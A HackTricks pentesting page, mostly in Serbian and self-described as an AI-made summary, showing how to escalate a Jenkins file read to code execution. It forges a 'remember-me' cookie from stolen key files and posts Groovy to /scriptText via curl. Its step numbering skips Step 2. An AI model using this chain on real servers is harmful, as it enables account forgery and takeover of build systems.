Jenkins Arbitrary File Read to RCE via "Remember Me"

Reading time: 4 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

U ovom blog postu je moguće pronaći odličan način da se transformiše ranjivost Local File Inclusion u Jenkins-u u RCE: https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/

Ovo je AI kreirani sažetak dela posta gde se zloupotrebljava kreacija proizvoljnog kolačića da bi se dobio RCE zloupotrebom lokalnog čitanja datoteka dok ne budem imao vremena da napravim svoj sažetak:

Attack Prerequisites

  • Feature Requirement: "Remember me" mora biti omogućeno (podrazumevano podešavanje).
  • Access Levels: Napadač treba Overall/Read dozvole.
  • Secret Access: Sposobnost čitanja binarnog i tekstualnog sadržaja iz ključnih datoteka.

Detailed Exploitation Process

Step 1: Data Collection

User Information Retrieval

  • Pristupite korisničkoj konfiguraciji i tajnama iz $JENKINS_HOME/users/*.xml za svakog korisnika da prikupite:
  • Username
  • User seed
  • Timestamp
  • Password hash

Secret Key Extraction

  • Izvucite kriptografske ključeve korišćene za potpisivanje kolačića:
  • Secret Key: $JENKINS_HOME/secret.key
  • Master Key: $JENKINS_HOME/secrets/master.key
  • MAC Key File: $JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac

Token Preparation

  • Calculate Token Expiry Time:
javascript
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Dodaje jedan sat trenutnom vremenu
  • Concatenate Data for Token:
javascript
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey

MAC Key Decryption

  • Decrypt MAC Key File:
javascript
key = toAes128Key(masterKey)  // Konvertuje master ključ u AES128 format
decrypted = AES.decrypt(macFile, key)  // Dešifruje .mac datoteku
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")

Signature Computation

  • Compute HMAC SHA256:
javascript
mac = HmacSHA256(token, macKey) // Izračunava HMAC koristeći token i MAC ključ
tokenSignature = bytesToHexString(mac) // Konvertuje MAC u heksadecimalni string

Cookie Encoding

  • Generate Final Cookie:
javascript
cookie = base64.encode(
username + ":" + tokenExpiryTime + ":" + tokenSignature
) // Base64 kodira podatke kolačića

Step 3: Code Execution

Session Authentication

  • Fetch CSRF and Session Tokens:
  • Napravite zahtev ka /crumbIssuer/api/json da dobijete Jenkins-Crumb.
  • Zabeležite JSESSIONID iz odgovora, koji će se koristiti zajedno sa kolačićem "remember-me".

Command Execution Request

  • Send a POST Request with Groovy Script:
bash
curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
  • Groovy skripta može se koristiti za izvršavanje komandi na sistemskom nivou ili drugih operacija unutar Jenkins okruženja.

Primer curl komande prikazan je kako bi se pokazalo kako napraviti zahtev ka Jenkins-u sa potrebnim zaglavljima i kolačićima za sigurno izvršavanje proizvoljnog koda.

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks